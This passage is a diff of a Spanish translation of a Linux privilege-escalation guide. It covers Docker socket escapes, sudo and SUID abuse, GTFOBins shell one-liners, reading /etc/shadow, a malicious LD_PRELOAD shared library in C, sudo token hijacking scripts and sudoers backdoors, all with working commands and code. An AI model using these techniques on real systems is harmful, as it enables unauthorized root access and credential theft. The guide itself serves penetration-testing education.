tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Sockets escribibles +### Writable sockets -Si **identificas algún socket escribible** (_ahora estamos hablando de Sockets Unix y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y tal vez explotar una vulnerabilidad. +Si **identificas algún socket escribible** (_ahora hablamos de Unix Sockets y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y quizá explotar una vulnerabilidad. -### Enumerar Sockets Unix +### Enumerar Unix Sockets ```bash netstat -a -p --unix ``` -### Conexión en bruto +### Conexión raw ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -481,38 +482,38 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of socket-command-injection.md {{#endref}} -### Sockets HTTP +### HTTP sockets -Ten en cuenta que puede haber algunos **sockets escuchando solicitudes HTTP** (_no estoy hablando de archivos .socket, sino de los archivos que actúan como sockets unix_). Puedes verificar esto con: +Ten en cuenta que puede haber algunos **sockets listening for HTTP** requests (_No me refiero a .socket files sino a los archivos que actúan como unix sockets_). Puedes comprobar esto con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Si el socket **responde con una solicitud HTTP**, entonces puedes **comunicarte** con él y tal vez **explotar alguna vulnerabilidad**. +If the socket **responde a solicitudes HTTP**, entonces puedes **comunicarte** con él y quizá **explotar alguna vulnerabilidad**. -### Socket de Docker Escribible +### Socket de Docker escribible -El socket de Docker, que a menudo se encuentra en `/var/run/docker.sock`, es un archivo crítico que debe ser asegurado. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede llevar a la escalada de privilegios. Aquí hay un desglose de cómo se puede hacer esto y métodos alternativos si la CLI de Docker no está disponible. +El socket de Docker, que suele encontrarse en `/var/run/docker.sock`, es un archivo crítico que debe asegurarse. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Tener acceso de escritura a este socket puede conducir a una escalada de privilegios. Aquí tienes un desglose de cómo puede hacerse esto y métodos alternativos si el Docker CLI no está disponible. -#### **Escalada de Privilegios con Docker CLI** +#### **Escalada de privilegios con Docker CLI** -Si tienes acceso de escritura al socket de Docker, puedes escalar privilegios utilizando los siguientes comandos: +Si tienes acceso de escritura al socket de Docker, puedes escalar privilegios usando los siguientes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Estos comandos te permiten ejecutar un contenedor con acceso a nivel root al sistema de archivos del host. +Estos comandos te permiten ejecutar un contenedor con acceso root al sistema de archivos del host. -#### **Usando la API de Docker Directamente** +#### **Usando Docker API directamente** -En casos donde el CLI de Docker no está disponible, el socket de Docker aún puede ser manipulado usando la API de Docker y comandos `curl`. +En casos donde el Docker CLI no está disponible, el Docker socket todavía puede manipularse usando la Docker API y comandos `curl`. -1. **Listar Imágenes de Docker:** Recupera la lista de imágenes disponibles. +1. **List Docker Images:** Recupera la lista de imágenes disponibles. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Crear un Contenedor:** Envía una solicitud para crear un contenedor que monta el directorio raíz del sistema host. +2. **Create a Container:** Envía una petición para crear un contenedor que monte el directorio raíz del host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -524,7 +525,7 @@ Inicia el contenedor recién creado: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Conectar al Contenedor:** Usa `socat` para establecer una conexión con el contenedor, habilitando la ejecución de comandos dentro de él. +3. **Attach to the Container:** Usa `socat` para establecer una conexión con el contenedor, habilitando la ejecución de comandos dentro de él. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,29 +535,32 @@ Connection: Upgrade Upgrade: tcp ``` -Después de configurar la conexión `socat`, puedes ejecutar comandos directamente en el contenedor con acceso a nivel root al sistema de archivos del host. +Después de establecer la conexión con `socat`, puedes ejecutar comandos directamente en el contenedor con acceso root al sistema de archivos del host. ### Otros -Ten en cuenta que si tienes permisos de escritura sobre el socket de docker porque estás **dentro del grupo `docker`** tienes [**más formas de escalar privilegios**](interesting-groups-linux-pe/index.html#docker-group). Si la [**API de docker está escuchando en un puerto** también puedes comprometerla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Ten en cuenta que si tienes permisos de escritura sobre el docker socket porque estás **inside the group `docker`** tienes [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). + +Consulta **más formas de salir de docker o abusarlo para escalar privilegios** en: -Consulta **más formas de salir de docker o abusar de él para escalar privilegios** en: {{#ref}} docker-security/ {{#endref}} -## Escalación de privilegios de Containerd (ctr) +## Containerd (ctr) privilege escalation + +Si descubres que puedes usar el comando **`ctr`**, lee la siguiente página, ya que **you may be able to abuse it to escalate privileges**: -Si descubres que puedes usar el comando **`ctr`** lee la siguiente página ya que **puedes ser capaz de abusar de él para escalar privilegios**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **Escalación de privilegios de RunC** +## **RunC** privilege escalation + +Si descubres que puedes usar el comando **`runc`**, lee la siguiente página, ya que **you may be able to abuse it to escalate privileges**: -Si descubres que puedes usar el comando **`runc`** lee la siguiente página ya que **puedes ser capaz de abusar de él para escalar privilegios**: {{#ref}} runc-privilege-escalation.md @@ -564,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos de manera eficiente. Diseñado con el sistema Linux moderno en mente, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. +D-Bus es un sofisticado sistema de inter-Process Communication (IPC) que permite a las aplicaciones interactuar y compartir datos de forma eficiente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. -El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda a transmitir eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. +El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, similar a enhanced UNIX domain sockets. Además, ayuda en la difusión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un Bluetooth daemon sobre una llamada entrante puede indicar a un reproductor de música que silencie el audio, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. -D-Bus opera bajo un **modelo de permitir/negar**, gestionando permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos. +D-Bus opera sobre un **allow/deny model**, gestionando permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basándose en el efecto acumulado de reglas de política que coinciden. Estas políticas especifican las interacciones con el bus, pudiendo permitir una escalada de privilegios mediante la explotación de dichos permisos. -Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`. +Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, que detalla permisos para el usuario root para poseer, enviar y recibir mensajes de `fi.w1.wpa_supplicant1`. -Las políticas sin un usuario o grupo especificado se aplican universalmente, mientras que las políticas de contexto "predeterminadas" se aplican a todos los que no están cubiertos por otras políticas específicas. +Las políticas sin un usuario o grupo especificado se aplican de forma universal, mientras que las políticas de contexto "default" se aplican a todos los que no estén cubiertos por otras políticas específicas. ```xml @@ -581,7 +585,7 @@ Las políticas sin un usuario o grupo especificado se aplican universalmente, mi ``` -**Aprende a enumerar y explotar una comunicación D-Bus aquí:** +**Aprende cómo enumerar y explotar una comunicación D-Bus aquí:** {{#ref}} @@ -590,7 +594,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Red** -Siempre es interesante enumerar la red y averiguar la posición de la máquina. +Siempre es interesante enumerar la red y determinar la posición de la máquina. ### Enumeración genérica ```bash @@ -615,24 +619,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Puertos abiertos +### Open ports -Siempre verifica los servicios de red que se están ejecutando en la máquina con la que no pudiste interactuar antes de acceder a ella: +Siempre comprueba los servicios de red que se estén ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Verifica si puedes esnifar tráfico. Si puedes, podrías ser capaz de capturar algunas credenciales. +Comprueba si puedes sniff traffic. Si puedes, podrías obtener algunas credentials. ``` timeout 1 tcpdump ``` ## Usuarios -### Enumeración Genérica +### Enumeración genérica -Verifica **quién** eres, qué **privilegios** tienes, qué **usuarios** están en los sistemas, cuáles pueden **iniciar sesión** y cuáles tienen **privilegios de root:** +Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **login** y cuáles tienen **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -654,23 +658,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### UID grande -Algunas versiones de Linux fueron afectadas por un error que permite a los usuarios con **UID > INT_MAX** escalar privilegios. Más información: [aquí](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [aquí](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [aquí](https://twitter.com/paragonsec/status/1071152249529884674).\ +Algunas versiones de Linux se vieron afectadas por un bug que permite a usuarios con **UID > INT_MAX** escalar privilegios. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Explotarlo** usando: **`systemd-run -t /bin/bash`** -### Groups +### Grupos -Verifica si eres **miembro de algún grupo** que podría otorgarte privilegios de root: +Comprueba si eres **miembro de algún grupo** que podría concederte privilegios root: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Portapapeles -Verifica si hay algo interesante ubicado dentro del portapapeles (si es posible) +Comprueba si hay algo interesante en el portapapeles (si es posible) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -685,29 +689,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Conocidas contraseñas +### Contraseñas conocidas Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando la contraseña. ### Su Brute -Si no te importa hacer mucho ruido y los binarios `su` y `timeout` están presentes en la computadora, puedes intentar forzar la entrada de usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta forzar la entrada de usuarios. +Si no te importa generar mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar hacer brute-force a usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta hacer brute-force a usuarios. -## Abusos de PATH escribible +## Abusos del $PATH escribible ### $PATH -Si encuentras que puedes **escribir dentro de alguna carpeta del $PATH** podrías ser capaz de escalar privilegios **creando una puerta trasera dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que **no se carga desde una carpeta que esté ubicada antes** de tu carpeta escribible en $PATH. +Si descubres que puedes **escribir dentro de alguna carpeta del $PATH** podrías escalar privilegios creando un backdoor dentro de la carpeta escribible con el nombre de algún comando que vaya a ser ejecutado por otro usuario (idealmente root) y que **no se cargue desde una carpeta situada antes** de tu carpeta escribible en el $PATH. -### SUDO y SUID +### SUDO and SUID -Podrías tener permiso para ejecutar algún comando usando sudo o podrían tener el bit suid. Verifícalo usando: +Puede que tengas permitido ejecutar algún comando usando sudo o que tengan el bit suid. Compruébalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Algunos **comandos inesperados te permiten leer y/o escribir archivos o incluso ejecutar un comando.** Por ejemplo: +Algunos **comandos inesperados permiten leer y/o escribir archivos o incluso ejecutar un comando.** Por ejemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -724,25 +728,25 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -En este ejemplo, el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener un shell añadiendo una clave ssh en el directorio raíz o llamando a `sh`. +En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener un shell añadiendo una clave ssh en el directorio root o invocando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Esta directiva permite al usuario **establecer una variable de entorno** mientras ejecuta algo: +Esta directiva permite al usuario **establecer una variable de entorno** al ejecutar algo: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este ejemplo, **basado en la máquina HTB Admirer**, era **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca de python arbitraria mientras se ejecuta el script como root: +Este ejemplo, **basado en la máquina HTB Admirer**, era **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca python arbitraria al ejecutar el script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo execution bypassing paths +### Sudo: omitiendo rutas de ejecución -**Saltar** para leer otros archivos o usar **symlinks**. Por ejemplo en el archivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** para leer otros archivos o usar **symlinks**. Por ejemplo en el archivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -752,50 +756,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Si se utiliza un **wildcard** (\*), es aún más fácil: +Si se usa un **wildcard** (\*), es aún más fácil: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Comando Sudo/binario SUID sin ruta de comando +### Sudo command/SUID binary without command path -Si se otorgan **permisos sudo** a un solo comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH. +Si el **permiso sudo** se da a un único comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro comando sin especificar la ruta a él (siempre verifica con** _**strings**_ **el contenido de un binario SUID extraño)**. +Esta técnica también puede usarse si un binario **suid** **ejecuta otro comando sin especificar la ruta (siempre comprueba con** _**strings**_ **el contenido de un binario SUID extraño)**. -[Ejemplos de payloads para ejecutar.](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) -### Binario SUID con ruta de comando +### Binario SUID con ruta del comando -Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** llamada como el comando que el archivo suid está llamando. +Si el binario **suid** **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que el archivo suid está invocando. -Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla: +Por ejemplo, si un binario suid invoca _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Entonces, cuando llamas al binario suid, esta función se ejecutará +Entonces, cuando ejecutes el binario suid, esta función se ejecutará ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que deben ser cargadas por el cargador antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca. +La variable de entorno **LD_PRELOAD** se usa para especificar una o más bibliotecas compartidas (.so files) que serán cargadas por el cargador antes que las demás, incluyendo la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca. -Sin embargo, para mantener la seguridad del sistema y prevenir que esta función sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones: +Sin embargo, para mantener la seguridad del sistema y evitar que esta funcionalidad sea explotada, especialmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones: -- El cargador ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_). -- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también son suid/sgid. +- El cargador no tiene en cuenta **LD_PRELOAD** para ejecutables donde el real user ID (_ruid_) no coincide con el effective user ID (_euid_). +- Para ejecutables con **suid/sgid**, solo se precargan las bibliotecas en rutas estándar que también sean **suid/sgid**. -La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando se ejecutan comandos con `sudo`, lo que puede llevar a la ejecución de código arbitrario con privilegios elevados. +La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que potencialmente puede conducir a la ejecución de código arbitrario con privilegios elevados. ``` Defaults env_keep += LD_PRELOAD ``` -Guarda como **/tmp/pe.c** +Guardar como **/tmp/pe.c** ```c #include #include @@ -808,17 +812,17 @@ setuid(0); system("/bin/bash"); } ``` -Luego **compílalo** usando: +Luego, **compílalo** usando: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalar privilegios** ejecutando +Finalmente, **escalate privileges** ejecutando ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc similar puede ser abusado si el atacante controla la variable de entorno **LD_LIBRARY_PATH** porque controla la ruta donde se buscarán las bibliotecas. +> Un privesc similar puede ser abusado si el atacante controla la variable de entorno **LD_LIBRARY_PATH** porque controla la ruta donde se van a buscar las bibliotecas. ```c #include #include @@ -840,13 +844,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Cuando se encuentra un binario con permisos **SUID** que parece inusual, es una buena práctica verificar si está cargando archivos **.so** correctamente. Esto se puede comprobar ejecutando el siguiente comando: +Al encontrarse con un binario con permisos **SUID** que parece inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto puede comprobarse ejecutando el siguiente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por ejemplo, encontrar un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere un potencial de explotación. +Por ejemplo, encontrarse con un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere la posibilidad de explotación. -Para explotar esto, uno procedería creando un archivo C, digamos _"/path/to/.config/libcalc.c"_, que contenga el siguiente código: +Para explotarlo, se procedería creando un archivo en C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código: ```c #include #include @@ -863,9 +867,9 @@ Compila el archivo C anterior en un archivo de objeto compartido (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Finalmente, ejecutar el binario SUID afectado debería activar la explotación, permitiendo una posible compromisión del sistema. +Finalmente, ejecutar el binario SUID afectado debería activar el exploit, permitiendo el posible compromiso del sistema. -## Secuestro de Objetos Compartidos +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -892,13 +896,13 @@ Si obtienes un error como ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -eso significa que la biblioteca que has generado necesita tener una función llamada `a_function_name`. +eso significa que la librería que has generado necesita tener una función llamada `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios de Unix que pueden ser explotados por un atacante para eludir restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando. +[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios Unix que pueden ser explotados por un atacante para eludir las restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde puedes **only inject arguments** en un comando. -El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, generar shells bind y reverse, y facilitar otras tareas de post-explotación. +El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para escapar de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, spawn bind and reverse shells, y facilitar otras tareas de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -917,50 +921,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -Si puedes acceder a `sudo -l` puedes usar la herramienta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar si encuentra cómo explotar alguna regla de sudo. +Si puedes acceder a `sudo -l` puedes usar la herramienta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para comprobar si encuentra cómo explotar alguna regla de sudo. -### Reutilizando Tokens de Sudo +### Reusing Sudo Tokens -En casos donde tienes **acceso a sudo** pero no la contraseña, puedes escalar privilegios **esperando a que se ejecute un comando sudo y luego secuestrando el token de sesión**. +En casos donde tienes **sudo access** pero no la contraseña, puedes escalar privilegios **waiting for a sudo command execution and then hijacking the session token**. Requisitos para escalar privilegios: - Ya tienes un shell como usuario "_sampleuser_" -- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15 minutos** (por defecto, esa es la duración del token de sudo que nos permite usar `sudo` sin introducir ninguna contraseña) +- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15mins** (por defecto esa es la duración del sudo token que nos permite usar `sudo` sin introducir ninguna contraseña) - `cat /proc/sys/kernel/yama/ptrace_scope` es 0 -- `gdb` es accesible (puedes ser capaz de subirlo) +- `gdb` es accesible (puedes subirlo) -(Puedes habilitar temporalmente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o modificar permanentemente `/etc/sysctl.d/10-ptrace.conf` y establecer `kernel.yama.ptrace_scope = 0`) +(Puedes habilitar temporalmente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` y estableciendo `kernel.yama.ptrace_scope = 0`) Si se cumplen todos estos requisitos, **puedes escalar privilegios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente un shell root, haz `sudo su`): +- El **first exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activate the sudo token in your session** (no obtendrás automáticamente una shell root, ejecuta `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- El **segundo exploit** (`exploit_v2.sh`) creará un shell sh en _/tmp_ **propiedad de root con setuid** +- El **segundo exploit** (`exploit_v2.sh`) creará un sh shell en _/tmp_ **propiedad de root con setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- El **tercer exploit** (`exploit_v3.sh`) **creará un archivo sudoers** que hace que **los tokens de sudo sean eternos y permite a todos los usuarios usar sudo** +- El **tercer exploit** (`exploit_v3.sh`) va a **crear un sudoers file** que hace que los **sudo tokens sean eternos y que todos los usuarios puedan usar sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta, puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un token de sudo para un usuario y PID**.\ -Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios de sudo** sin necesidad de conocer la contraseña haciendo: +Si tienes **permiso de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un sudo token para un usuario y PID**.\ +Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios sudo** sin necesitar conocer la contraseña haciendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d El archivo `/etc/sudoers` y los archivos dentro de `/etc/sudoers.d` configuran quién puede usar `sudo` y cómo. Estos archivos **por defecto solo pueden ser leídos por el usuario root y el grupo root**.\ -**Si** puedes **leer** este archivo, podrías ser capaz de **obtener información interesante**, y si puedes **escribir** cualquier archivo, podrás **escalar privilegios**. +**Si** puedes **leer** este archivo podrías ser capaz de **obtener información interesante**, y si puedes **escribir** cualquier archivo podrás **escalar privilegios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -979,15 +983,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Hay algunas alternativas al binario `sudo`, como `doas` para OpenBSD, recuerda verificar su configuración en `/etc/doas.conf` +Existen algunas alternativas al binario `sudo`, como `doas` de OpenBSD; recuerda comprobar su configuración en `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si sabes que un **usuario generalmente se conecta a una máquina y usa `sudo`** para escalar privilegios y tienes una shell dentro de ese contexto de usuario, puedes **crear un nuevo ejecutable de sudo** que ejecutará tu código como root y luego el comando del usuario. Luego, **modifica el $PATH** del contexto del usuario (por ejemplo, añadiendo la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, tu ejecutable de sudo se ejecute. +Si sabes que un **user suele conectarse a una máquina y usa `sudo`** para escalar privilegios y has obtenido un shell dentro de ese contexto de user, puedes **crear un nuevo ejecutable sudo** que ejecutará tu código como root y luego el comando del user. Luego, **modifica el $PATH** del contexto del user (por ejemplo añadiendo la nueva ruta en .bash_profile) de modo que cuando el user ejecute sudo, se ejecute tu ejecutable sudo. -Ten en cuenta que si el usuario usa una shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Ten en cuenta que si el user usa un shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) O ejecutando algo como: ```bash @@ -1004,15 +1008,15 @@ zsh echo $PATH sudo ls ``` -## Shared Library +## Biblioteca compartida ### ld.so -El archivo `/etc/ld.so.conf` indica **de dónde provienen los archivos de configuración cargados**. Típicamente, este archivo contiene la siguiente ruta: `include /etc/ld.so.conf.d/*.conf` +The file `/etc/ld.so.conf` indicates **de dónde provienen los archivos de configuración cargados**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` -Eso significa que se leerán los archivos de configuración de `/etc/ld.so.conf.d/*.conf`. Estos archivos de configuración **apuntan a otras carpetas** donde se van a **buscar** **bibliotecas**. Por 